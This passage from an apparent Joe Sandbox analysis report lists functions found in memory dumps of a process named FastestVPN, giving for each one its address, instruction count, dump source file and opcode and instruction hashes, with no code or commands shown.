                                                                                                                      • Opcode Fuzzy Hash: 0ce052149f11262a8f8c5ded4989cea3fb133cb51f7b1480ef74ea52131f63dc
                                                                                                                      • Instruction Fuzzy Hash: BA21F2B5604308DFDB04EF24D9C4B26BB65FB84314F24C56DE84A4F686C3BAD446CA61
                                                                                                                      Function 0238D01C Relevance: .1, Instructions: 72COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ab838d74d6e80c1c0355a025095f4b7bdf8e8fc34f4869bdfa3858426f112a77
                                                                                                                      • Instruction ID: 8fa6530d07a0eda22a3e377b7b63ae003fd937ea4c496955fe6d9416b1b741a5
                                                                                                                      • Opcode Fuzzy Hash: ab838d74d6e80c1c0355a025095f4b7bdf8e8fc34f4869bdfa3858426f112a77
                                                                                                                      • Instruction Fuzzy Hash: 0B21F2B5604308DFDB14EF24D984B16BB65FB84324F20C56DD84A4F786C33AD447CA62
                                                                                                                      Function 0B4B34C0 Relevance: .1, Instructions: 71COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f10ec02387a161c42a9bd09558c8ef90d8f74c70092cc166f95009b0520aefd1
                                                                                                                      • Instruction ID: 3bbf9e8d411e748128a4f61998b45f030111d3bbe567efa9e9e738f268396223
                                                                                                                      • Opcode Fuzzy Hash: f10ec02387a161c42a9bd09558c8ef90d8f74c70092cc166f95009b0520aefd1
                                                                                                                      • Instruction Fuzzy Hash: BB11D0737082244FE715CB6AE841EEBB7E9EBC4234B048137E215C7240D635A911C7A8
                                                                                                                      Function 0B4B77B0 Relevance: .1, Instructions: 70COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 82b60097ebf94ec816ccc9a690fef1ef9fe45eebc92f2ba9a314e106e5748a70
                                                                                                                      • Instruction ID: 82a87c2595f8bcd3d34e9abf46aa4e6602ff6c9e59200fdc3133548e0a5999bf
                                                                                                                      • Opcode Fuzzy Hash: 82b60097ebf94ec816ccc9a690fef1ef9fe45eebc92f2ba9a314e106e5748a70
                                                                                                                      • Instruction Fuzzy Hash: 6A216D31A006009FD726CF2AC484E9ABBF6FF89710B05859AE546DB362CB30ED45CF50
                                                                                                                      Function 0B48E9F8 Relevance: .1, Instructions: 70COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e2e4e6a96089264e2d570b9f9262add57ccb95fc95f6f9c4835ccfc9bc1ca0d8
                                                                                                                      • Instruction ID: dcf234fcc6e3e3d02345b063c2aef233c893728b6ff4b86d6a6a580287dfc846
                                                                                                                      • Opcode Fuzzy Hash: e2e4e6a96089264e2d570b9f9262add57ccb95fc95f6f9c4835ccfc9bc1ca0d8
                                                                                                                      • Instruction Fuzzy Hash: AD1151323012208BDB146F7AB448A6EB7EBFBC1A66314407BE109C6755CF35DA83C790
                                                                                                                      Function 0B48BFC8 Relevance: .1, Instructions: 70COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 6de09420d61a0e8931b5374fc2172433b348a92a3c404983d13530e02a2c9fce
                                                                                                                      • Instruction ID: 07e4e4e3ec9b157e4c39c74a53109b1d5fbc36fc6291364230f5c43536cd8e23
                                                                                                                      • Opcode Fuzzy Hash: 6de09420d61a0e8931b5374fc2172433b348a92a3c404983d13530e02a2c9fce
                                                                                                                      • Instruction Fuzzy Hash: 2511E632B042504FD322DB68D890B6FBBE6EFC9AA0B14016EE505DB391DA30DD01C7E0
                                                                                                                      Function 0B4B1400 Relevance: .1, Instructions: 69COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2fa9af2ef3bb4e5881a0972bafb126820c2b1d7b23fd5fe0465962fda01568a0
                                                                                                                      • Instruction ID: 9f7cb28b4de405d151dc990b091adf4c3eea3a296566f66381b213f8b521e2ae
                                                                                                                      • Opcode Fuzzy Hash: 2fa9af2ef3bb4e5881a0972bafb126820c2b1d7b23fd5fe0465962fda01568a0
                                                                                                                      • Instruction Fuzzy Hash: 7A21AC31E04298AFDF15CFA4D890EAEBFB1EF49310F04449AE955AF38AC6319905CB50
                                                                                                                      Function 0B514AC0 Relevance: .1, Instructions: 69COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 383adf262847fe2570a79100323b432313c55af9e45b3fce5c125be265d2c811
                                                                                                                      • Instruction ID: 0502fcf0ef0fa84b86e71763ede61021e940ab70a049c9d1d52ea16698209dd6
                                                                                                                      • Opcode Fuzzy Hash: 383adf262847fe2570a79100323b432313c55af9e45b3fce5c125be265d2c811
                                                                                                                      • Instruction Fuzzy Hash: DF219A70A01266CFDF05DF68C584A6ABBF2FF8A714B1485A8D9489B366C330ED05CF91
                                                                                                                      Function 0B48EBF0 Relevance: .1, Instructions: 68COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 987d247eb6f960254c0d04941f64e4410f35d00e9a20a63e5904038b3421b08e
                                                                                                                      • Instruction ID: 6f659b7a9d052c4c7df69ec3bfecda980a75376221c098f3da3fc968e95b7e79
                                                                                                                      • Opcode Fuzzy Hash: 987d247eb6f960254c0d04941f64e4410f35d00e9a20a63e5904038b3421b08e
                                                                                                                      • Instruction Fuzzy Hash: 7E112331B4C29197E7623A2AA84437FAFDA8FC5A41F18407BD509C7385CE1ACE428362
                                                                                                                      Function 0B48CAF8 Relevance: .1, Instructions: 67COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 27e17101933945cc2d8be72dce28ab41c33f2115a44a30a60a90b75deb1a5174
                                                                                                                      • Instruction ID: 861406fad6f13ed1717a43ccadb08edbbfb982a4085d10ebf1245f9bc02fc751
                                                                                                                      • Opcode Fuzzy Hash: 27e17101933945cc2d8be72dce28ab41c33f2115a44a30a60a90b75deb1a5174
                                                                                                                      • Instruction Fuzzy Hash: A2216D74B006158FCF14EF65E58096EBBB6FFC8260B14806AD9059B352DB30ED428BA5
                                                                                                                      Function 0B514AD0 Relevance: .1, Instructions: 67COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: e664fb0e1414006407c55ddb75251e7354bbb72e1b7d54d154434eacf72702c0
                                                                                                                      • Instruction ID: 0aa528b65339ac7173deaec07e54f7589510496e03c07473cc14204a197a16c5
                                                                                                                      • Opcode Fuzzy Hash: e664fb0e1414006407c55ddb75251e7354bbb72e1b7d54d154434eacf72702c0
                                                                                                                      • Instruction Fuzzy Hash: B5214A75E0121ADFDB14DFA8C584A6ABBF2FF88314B1085A8D908AB761D730ED51CF91
                                                                                                                      Function 0B48EB48 Relevance: .1, Instructions: 66COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 026f2902e2c9b09470a65263185bffcf5c586cdb2707811f69718daae96bab78
                                                                                                                      • Instruction ID: d167c2666a034ec253fe686bb9c7ea4bf5ca57122e1c91eaf7248851ae32cffe
                                                                                                                      • Opcode Fuzzy Hash: 026f2902e2c9b09470a65263185bffcf5c586cdb2707811f69718daae96bab78
                                                                                                                      • Instruction Fuzzy Hash: 01110D31B043009FE7219F66E880A1BBBA7EFC1224B1484BEE54A8B722C731EC81C750
                                                                                                                      Function 0B48CAF6 Relevance: .1, Instructions: 65COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5f23c38bbd5834cd0c7a89ccefb49417a263f3cc4249146507da50ae505cecb2
                                                                                                                      • Instruction ID: 497497550825e7c977fdb84da62ce4143da49baf7828a0b8ccb9cf4291c1388e
                                                                                                                      • Opcode Fuzzy Hash: 5f23c38bbd5834cd0c7a89ccefb49417a263f3cc4249146507da50ae505cecb2
                                                                                                                      • Instruction Fuzzy Hash: 6F217F74B00615DFCF14EF65E5809AFBBB2FF88260B14806AD8059B352DB30DD42CBA1
                                                                                                                      Function 0238ECCB Relevance: .1, Instructions: 64COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 97a0a924dcb3512d92ad23bb9f2bf5f578408d0d065f0b47acbcaa2ca0a4c5fd
                                                                                                                      • Instruction ID: 8e14b34bfe2ac4d6c688d1822af22a0abcad0072000f804b665177b1331caf4d
                                                                                                                      • Opcode Fuzzy Hash: 97a0a924dcb3512d92ad23bb9f2bf5f578408d0d065f0b47acbcaa2ca0a4c5fd
                                                                                                                      • Instruction Fuzzy Hash: A221AF76504240EFCF029F40D9C0B55BF72FB88320F248299ED490E26AC336D46ADB91
                                                                                                                      Function 0B5150F8 Relevance: .1, Instructions: 63COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 841aab74d52f82e92bcd3f7fba6c973ad975e5ed5eecb2222b8a570199613aea
                                                                                                                      • Instruction ID: 076fcfb443f758f93f9320fda1bb6b27c21a6a12229449652c6dea16b4c0603d
                                                                                                                      • Opcode Fuzzy Hash: 841aab74d52f82e92bcd3f7fba6c973ad975e5ed5eecb2222b8a570199613aea
                                                                                                                      • Instruction Fuzzy Hash: BF11E9307483548FEB1A5B39A87457A3BE5AFC658035508E7C886CB281EE34DC46C7A2
                                                                                                                      Function 0B51ED66 Relevance: .1, Instructions: 63COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: aff69b359b3116ee0a45c7f80b1f919f99b7ac9ea5e11f1d6c4d9502ea42df4e
                                                                                                                      • Instruction ID: b1a9f60fdab4022e11a56461adf1c47e3a938dee84c7dc296a59dabe3ee70f52
                                                                                                                      • Opcode Fuzzy Hash: aff69b359b3116ee0a45c7f80b1f919f99b7ac9ea5e11f1d6c4d9502ea42df4e
                                                                                                                      • Instruction Fuzzy Hash: 3311E7316093814FDB12E775986069E3FA3EFC365070A89EAC445CF256DF349D0AC7A2
                                                                                                                      Function 0B4861A8 Relevance: .1, Instructions: 62COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ccf44d4d7f012ab36b1e86fed42c8696c23a43d636ee3031fd0ea2a9026ee7d0
                                                                                                                      • Instruction ID: 7e966d1a438c4f71f57d59810336215170cc82bc1268a6eb3049b1c46dc797d1
                                                                                                                      • Opcode Fuzzy Hash: ccf44d4d7f012ab36b1e86fed42c8696c23a43d636ee3031fd0ea2a9026ee7d0
                                                                                                                      • Instruction Fuzzy Hash: 9711B272F401058BCB58BBA9D8586EFBBBAAF88321F15406AD416F7340CF310D11CBA1
                                                                                                                      Function 0B487EB8 Relevance: .1, Instructions: 62COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c1dad5b7d24fb84b041000d24dd84266ed7149be8d223ac765dd82170dd3de7b
                                                                                                                      • Instruction ID: 5746d720c26dadefd1fdeb99efe1a0077b848f74c57fd287e26ebd7f5de7c5a6
                                                                                                                      • Opcode Fuzzy Hash: c1dad5b7d24fb84b041000d24dd84266ed7149be8d223ac765dd82170dd3de7b
                                                                                                                      • Instruction Fuzzy Hash: 90217F357101449FCB44EF69E8549DEBBB2FFC9211B10816AD906DB365CB30AE0ADB91
                                                                                                                      Function 0B519BEA Relevance: .1, Instructions: 62COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b7ea9114a4d9b95e2cba8438a455c215c288414dd9a4d9807a0e9db6de920451
                                                                                                                      • Instruction ID: 7ee93a31624796695c56b654a4c133bfe2efa37c45ff105f2d8539e766bb50bf
                                                                                                                      • Opcode Fuzzy Hash: b7ea9114a4d9b95e2cba8438a455c215c288414dd9a4d9807a0e9db6de920451
                                                                                                                      • Instruction Fuzzy Hash: B011E235204244AFEB118F69D8A0FAB7BE6EB85710F1488A9E5858B382C771DD41CB60
                                                                                                                      Function 0B515C60 Relevance: .1, Instructions: 62COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 06ab9ee3d055451c66f08fcf002067cb81a9627000480df285a7e0dee0fccc48
                                                                                                                      • Instruction ID: 2e9151a5c398006b2d47206d93055b971ec95abc21865730f1f6dd5212646103
                                                                                                                      • Opcode Fuzzy Hash: 06ab9ee3d055451c66f08fcf002067cb81a9627000480df285a7e0dee0fccc48
                                                                                                                      • Instruction Fuzzy Hash: F011C631B003114FE624BB699990EAAF6C7FBE8A917808DBAD6059F344EF709C4187D1
                                                                                                                      Function 0238D007 Relevance: .1, Instructions: 61COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f5ea5c8a7f864089e29c87e002e66f74a428871cc600867a969539f4df51effa
                                                                                                                      • Instruction ID: f91187c90a5c5762eceef1e1f52eab941c635c8af3ebd82c05acad613c82ed3c
                                                                                                                      • Opcode Fuzzy Hash: f5ea5c8a7f864089e29c87e002e66f74a428871cc600867a969539f4df51effa
                                                                                                                      • Instruction Fuzzy Hash: BA21A1755093C48FCB02DF24D990715BF71EB46214F28C5DAD8898F2A7C33A980ACB62
                                                                                                                      Function 0238EBCF Relevance: .1, Instructions: 61COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722819337.000000000238D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0238D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_238d000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 39a02f5394094c7ec3738f67453cc611a0fb20c9f526cd1d5055934a715af979
                                                                                                                      • Instruction ID: 4889db0d1218517a1fa2b2c5d2e4168d54b4d186c6ce47e42309cc1bb451170e
                                                                                                                      • Opcode Fuzzy Hash: 39a02f5394094c7ec3738f67453cc611a0fb20c9f526cd1d5055934a715af979
                                                                                                                      • Instruction Fuzzy Hash: BF218EB6504240DFCF06DF50D9C4B56BF72FB88314F248699EE090E256C336D426DB91
                                                                                                                      Function 0B4BD508 Relevance: .1, Instructions: 60COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 34c18e9178a380085a9149292e6abe4b3b1018827c1f0f2b013ed40f2c8bee96
                                                                                                                      • Instruction ID: e7016d9fa132c226953005a4376154e5e0f21a0ff581a1a4c982910ee8ca4e9e
                                                                                                                      • Opcode Fuzzy Hash: 34c18e9178a380085a9149292e6abe4b3b1018827c1f0f2b013ed40f2c8bee96
                                                                                                                      • Instruction Fuzzy Hash: 9411082290A3B05FD7126B389874ADE7FA19EC7A4170400DBC042CF292DE19994EC7AA
                                                                                                                      Function 0B5170C0 Relevance: .1, Instructions: 60COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ee4439c237e55f762b87319c084a898db339b885a23fed543ac4317308af4a66
                                                                                                                      • Instruction ID: be07320953cbc8c43051b0df7b1eb182aa3f0b2516ef66878427a8587f085a9d
                                                                                                                      • Opcode Fuzzy Hash: ee4439c237e55f762b87319c084a898db339b885a23fed543ac4317308af4a66
                                                                                                                      • Instruction Fuzzy Hash: 85118635305250CFD3459BF8A4505AABBA7EFCE21235445E9D20DCB716CB31DC95CBA0
                                                                                                                      Function 0B51B6E0 Relevance: .1, Instructions: 60COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: dd83a14d6d34cc7fef48d65fa6829ea76295fc8fb73ec3596bfaba36b26d314d
                                                                                                                      • Instruction ID: d7e452c8a2a2c5fac5b31526b5356b9798064e65fb40096e41bf9334f151252b
                                                                                                                      • Opcode Fuzzy Hash: dd83a14d6d34cc7fef48d65fa6829ea76295fc8fb73ec3596bfaba36b26d314d
                                                                                                                      • Instruction Fuzzy Hash: CE219DB1A041598FEB09CB68D5546EEBBF1BF8D310F1481AAD486BB351CB709844CBA5
                                                                                                                      Function 0B515C50 Relevance: .1, Instructions: 60COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 490a9f753bd535ae8a4e8630583bd077275d1ee5af38189146b7da2fe89ee7a9
                                                                                                                      • Instruction ID: 14ca4b95826057991d65ae0a67928f2720fbed0b1d639174a5fbbd3539f9567f
                                                                                                                      • Opcode Fuzzy Hash: 490a9f753bd535ae8a4e8630583bd077275d1ee5af38189146b7da2fe89ee7a9
                                                                                                                      • Instruction Fuzzy Hash: 6311E331B043514FE725AB29A990EEAEB93BFE56447408EEAC2459F345DB309C018B91
                                                                                                                      Function 0B4B7E60 Relevance: .1, Instructions: 59COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 23001024b51ee9e0c2319e44ec818721cdfd957ff20c1c60e0d96347624d0545
                                                                                                                      • Instruction ID: 87a403dcce1afb664fe0f26b25fe9bc7851f7f28292429b8751b615c17cde198
                                                                                                                      • Opcode Fuzzy Hash: 23001024b51ee9e0c2319e44ec818721cdfd957ff20c1c60e0d96347624d0545
                                                                                                                      • Instruction Fuzzy Hash: A6117930A012059FCB60CF28C544BAAFBF5FF84324F44856AD9189B651E374EE45CFA1
                                                                                                                      Function 0B483E7A Relevance: .1, Instructions: 59COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3db56b397599878bd2ac24dc8786ca6da4af783762733be98a33d7551918b522
                                                                                                                      • Instruction ID: 45edb0d40c33726ea2b851fc11debda72cbf4663f66991820a1a0d30784f1c60
                                                                                                                      • Opcode Fuzzy Hash: 3db56b397599878bd2ac24dc8786ca6da4af783762733be98a33d7551918b522
                                                                                                                      • Instruction Fuzzy Hash: 291102317003108FC72AEB68E0504AEB7E3AFC651031485AED44ACB355DF20AD07D3D1
                                                                                                                      Function 0B51C450 Relevance: .1, Instructions: 59COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 006eafd0d35fb0b65c6fdd8ab43510abf2ba11643ab9911493ed34a2c4baa7e4
                                                                                                                      • Instruction ID: c4f058be479b28c726e21f896343648f8a42529c61b211f3065f29ae5e401c1b
                                                                                                                      • Opcode Fuzzy Hash: 006eafd0d35fb0b65c6fdd8ab43510abf2ba11643ab9911493ed34a2c4baa7e4
                                                                                                                      • Instruction Fuzzy Hash: 1D218E71A042598FDB19CB68D4646EEBBF1BF4D300F1485AAD442BB251CB319844DB64
                                                                                                                      Function 0237D6AB Relevance: .1, Instructions: 58COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2722577823.000000000237D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0237D000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_237d000_FastestVPN.jbxd
                                                                                                                      Similarity
